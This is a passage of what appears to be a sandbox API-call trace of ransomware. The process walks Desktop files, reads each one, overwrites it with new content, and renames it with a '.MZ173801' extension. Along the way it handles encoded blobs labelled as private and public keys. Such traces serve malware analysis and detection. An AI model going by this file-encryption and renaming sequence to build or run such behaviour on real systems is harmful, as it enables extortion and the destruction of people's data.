[0176.993] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XBv9B02U.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xbv9b02u.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.993] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0176.993] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.993] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x7a8d [0176.993] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0176.993] ReadFile (in: hFile=0x328, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x7a8d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x7a8d, lpOverlapped=0x0) returned 1 [0176.994] CloseHandle (hObject=0x328) returned 1 [0176.995] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XBv9B02U.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xbv9b02u.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0176.996] WriteFile (in: hFile=0x328, lpBuffer=0x24a8040*, nNumberOfBytesToWrite=0x7a8d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a8040*, lpNumberOfBytesWritten=0x19fa24*=0x7a8d, lpOverlapped=0x0) returned 1 [0176.998] CloseHandle (hObject=0x328) returned 1 [0176.999] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\XBv9B02U.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\xbv9b02u.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\XBv9B02U.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\xbv9b02u.mkv.mz173801")) returned 1 [0177.000] GetCurrentThreadId () returned 0xab4 [0177.000] GetCurrentThreadId () returned 0xab4 [0177.000] GetCurrentThreadId () returned 0xab4 [0177.000] GetCurrentThreadId () returned 0xab4 [0177.000] GetCurrentThreadId () returned 0xab4 [0177.000] GetCurrentThreadId () returned 0xab4 [0177.000] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec18e0, ftCreationTime.dwHighDateTime=0x1d5e3ca, ftLastAccessTime.dwLowDateTime=0x2351fef0, ftLastAccessTime.dwHighDateTime=0x1d5e43a, ftLastWriteTime.dwLowDateTime=0x2351fef0, ftLastWriteTime.dwHighDateTime=0x1d5e43a, nFileSizeHigh=0x0, nFileSizeLow=0x151a4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="xiB3D2t_hb.bmp", cAlternateFileName="XIB3D2~1.BMP")) returned 1 [0177.000] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.000] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.000] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\xiB3D2t_hb.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\xib3d2t_hb.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec18e0, ftCreationTime.dwHighDateTime=0x1d5e3ca, ftLastAccessTime.dwLowDateTime=0x2351fef0, ftLastAccessTime.dwHighDateTime=0x1d5e43a, ftLastWriteTime.dwLowDateTime=0x2351fef0, ftLastWriteTime.dwHighDateTime=0x1d5e43a, nFileSizeHigh=0x0, nFileSizeLow=0x151a4)) returned 1 [0177.000] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xiB3D2t_hb.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\xib3d2t_hb.bmp")) returned 0x20 [0177.000] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xiB3D2t_hb.bmp", dwFileAttributes=0x80) returned 1 [0177.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0177.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0177.004] GetCurrentThreadId () returned 0xab4 [0177.004] GetCurrentThreadId () returned 0xab4 [0177.004] GetCurrentThreadId () returned 0xab4 [0177.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0177.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0177.005] GetCurrentThreadId () returned 0xab4 [0177.005] GetCurrentThreadId () returned 0xab4 [0177.005] GetCurrentThreadId () returned 0xab4 [0177.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xiB3D2t_hb.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\xib3d2t_hb.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0177.005] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0177.005] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0177.005] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x151a4 [0177.005] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0177.005] ReadFile (in: hFile=0x328, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x151a4, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x151a4, lpOverlapped=0x0) returned 1 [0177.007] CloseHandle (hObject=0x328) returned 1 [0177.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xiB3D2t_hb.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\xib3d2t_hb.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0177.011] WriteFile (in: hFile=0x328, lpBuffer=0x24b6040*, nNumberOfBytesToWrite=0x151a4, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b6040*, lpNumberOfBytesWritten=0x19fa24*=0x151a4, lpOverlapped=0x0) returned 1 [0177.014] CloseHandle (hObject=0x328) returned 1 [0177.014] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\xiB3D2t_hb.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\xib3d2t_hb.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\xiB3D2t_hb.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\xib3d2t_hb.bmp.mz173801")) returned 1 [0177.148] GetCurrentThreadId () returned 0xab4 [0177.148] GetCurrentThreadId () returned 0xab4 [0177.148] GetCurrentThreadId () returned 0xab4 [0177.148] GetCurrentThreadId () returned 0xab4 [0177.148] GetCurrentThreadId () returned 0xab4 [0177.148] GetCurrentThreadId () returned 0xab4 [0177.148] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fa6740, ftCreationTime.dwHighDateTime=0x1d5eee4, ftLastAccessTime.dwLowDateTime=0xfc4e9da0, ftLastAccessTime.dwHighDateTime=0x1d5ed43, ftLastWriteTime.dwLowDateTime=0xfc4e9da0, ftLastWriteTime.dwHighDateTime=0x1d5ed43, nFileSizeHigh=0x0, nFileSizeLow=0xce53, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="XsWSFfkpZ7NjwRf.wav", cAlternateFileName="XSWSFF~1.WAV")) returned 1 [0177.148] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.148] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.148] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\XsWSFfkpZ7NjwRf.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\xswsffkpz7njwrf.wav"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fa6740, ftCreationTime.dwHighDateTime=0x1d5eee4, ftLastAccessTime.dwLowDateTime=0xfc4e9da0, ftLastAccessTime.dwHighDateTime=0x1d5ed43, ftLastWriteTime.dwLowDateTime=0xfc4e9da0, ftLastWriteTime.dwHighDateTime=0x1d5ed43, nFileSizeHigh=0x0, nFileSizeLow=0xce53)) returned 1 [0177.148] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XsWSFfkpZ7NjwRf.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\xswsffkpz7njwrf.wav")) returned 0x20 [0177.148] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XsWSFfkpZ7NjwRf.wav", dwFileAttributes=0x80) returned 1 [0177.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 